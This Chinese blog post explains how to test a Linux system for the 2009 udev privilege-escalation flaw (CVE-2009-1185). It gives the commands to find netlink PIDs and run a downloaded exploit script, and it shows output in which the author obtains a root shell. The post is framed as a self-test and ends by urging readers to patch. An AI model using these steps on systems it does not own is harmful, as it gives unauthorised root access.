linux udev的权限漏洞测试方法

作者:梁增海 
文章出处:http://s-logs.com/2009/04/linux-udev.html 
版权声明:可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息及本声明 
漏洞相关信息可以在下面链接获取: 

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185 
http://www.linux-magazine.com/online/news/local_root_exploit_in_udev 
http://www.debian.org/security/2009/dsa-1772 
http://milw0rm.com/exploits/8478 

测试方法: 

下载以下脚本文件: 

exploit.sh  

放置在某个目录中,备用。 

cat /proc/net/netlink 

得到如下返回: 

user@debian:~/attack$ cat /proc/net/netlink  
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks 
f79e8200 0   2784   00000111 0        0        00000000 2 
f7a10200 0   2771   00000001 0        0        00000000 2 
dfb4ca00 0   0      00000000 0        0        00000000 2 
dff58400 7   0      00000000 0        0        00000000 2 
dff7a800 9   0      00000000 0        0        00000000 2 
dff71e00 10 0      00000000 0        0        00000000 2 
f75dd200 15 1175   00000001 0        0        00000000 2 
dfb4c800 15 0      00000000 0        0        00000000 2 
dffb6a00 16 0      00000000 0        0        00000000 2 

在刚下载那个sh文件的目录中执行: 

sh exploit.sh 2784 

后边的数字是netlink的pid,如上例返回有多个,要多次尝试。2784,2771,1175,都可以尝试一下。 

脚本会生成C文件并调用GCC编译,然后执行。如果主机不支持GCC,可以修改一下代码尝试其他的编译器,或者在本地编译好,上传二进制版本试试。 

我在尝试1175时成功看到 # 结尾的shell了(你知道意味着什么,呵呵)。 

user@debian:~/attack$ sh exploit.txt 1175 
suid.c: In function 鈓ain? 
suid.c:3: warning: incompatible implicit declaration of built-in function 鈋xecl? 
sh-3.2# id 
uid=0(root) gid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),106(netdev),109(powerdev),1000(user) 


请读者不要用于非法用途,仅用于测试自己的系统是否还存在此漏洞。如果有,更及时升级udev包,或者升级整个系统。

加支付宝好友偷能量挖...


评论(0)网络
阅读(90)喜欢(0)linux